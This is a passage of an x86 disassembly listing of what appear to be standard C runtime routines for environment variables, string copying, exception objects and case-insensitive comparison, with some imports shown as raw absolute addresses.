		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB2D0
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB2D4
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB2D0, eax

loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB2D8, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D

loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh

loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2D0, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB2D8, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2D8, eax
		jz	short loc_42620F
		mov	[eax], edi

loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB2D0
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx

loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------

loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------

loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------

loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi

loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB2D0, eax

loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 25E0000h
		nop
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB2D0
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]

loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D

loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344

loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB2D0
		sar	eax, 2
		neg	eax

loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB2D0
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB

loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1

loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx

loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------

loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC71C, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]

loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DC821[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------

loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452

loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------

loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------

loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx

loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426750	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		jmp	near ptr 2860000h
sub_42675C	endp

; ---------------------------------------------------------------------------
		db 0BBh

; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB364, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h

loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h

loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------

loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2

loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi

loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------

loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx

loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------

loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 26503C1h
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB364, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB364
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DB5BC, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DB5BC, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------

loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CAE5C
		push	edi
		push	esi
		nop
		call	near ptr 2641167h
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DB5BC, 2

loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DB5BC
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------

loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB374
		mov	[ebp+arg_18], eax

loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 28010B9h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
